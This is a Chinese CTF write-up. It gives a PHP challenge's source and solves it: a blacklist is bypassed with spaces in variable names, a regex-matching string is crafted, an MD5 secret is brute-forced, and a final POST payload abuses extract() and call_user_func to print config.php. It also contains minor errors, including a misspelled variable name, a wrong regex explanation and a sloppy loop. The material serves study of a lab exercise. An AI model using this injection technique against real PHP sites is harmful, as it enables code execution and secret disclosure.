<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

对于没学过正则的菜鸡来说,感觉这题最大的难点就是正则的匹配,好在有师傅写的很详细,勉强能搞懂。先放上用来匹配正则的网站https://regex101.com
首先一post方式传入变量show_root,但因为第一个正则的原因,用空格+[来代替_,所以变量名为show root,然后就是令人头大的正则

^表示开始位置
\-表示匹配-,所以第一位是-
[a-e]表示匹配a到e中的任意一个,这里我用了a
[^a-zA-Z0-8]表示匹配不是这个范围里的,所以是9
<b>就是匹配<b>
(.*)表示匹配除换行符外的所有字符,有0次或多次,这里暂且用1
>{4}表示匹配>>>>
\D*?表示匹配非数字0次或1次
(abc.*?)表示匹配abc
p就是匹配p
(hp)*表示匹配hp 0次或多次
\@表示匹配@
R就是匹配R
(s|r)表示匹配s或r
.表示匹配除换行符外的所有字符
$表示结束位置,所以最后一位是除换行符外的所有字符,这里我用了1

连起来就是

-a9<b>1>>>>aabcphp@Rs1

但这里只有22个字符,要求是要有29个字符,那么怎么加呢
还记得这一句吗

(.*)表示匹配除换行符外的所有字符,有0次或多次,这里暂且用1

匹配0次或多次,是可以重复的,所以可以改成11111111
最终结果为

-a9<b>11111111>>>>aabcphp@Rs1

得到hint

Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

接着爆破MD5

<?php
for($a=10000;$SecretNumber<99999;$SecretNumber++)
{
    $str="shaw".$SecretNumber."root";
    if(md5($str)=="166b47a5cb1ca2431a0edfcef200684f")
    break;
}
echo $SecretNumber;
?>

得到SecretNumber=21475
最后call_user_func可以调用类的方法,所以传参my ans=qwq::oao
最终payload

shaw root=-a9<b>11111111>>>>aabcphp@Rs1&ans=21475&my ans=qwq::oao

顺带一提,不爆破md5也能做,可以看lazzzaro大佬

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏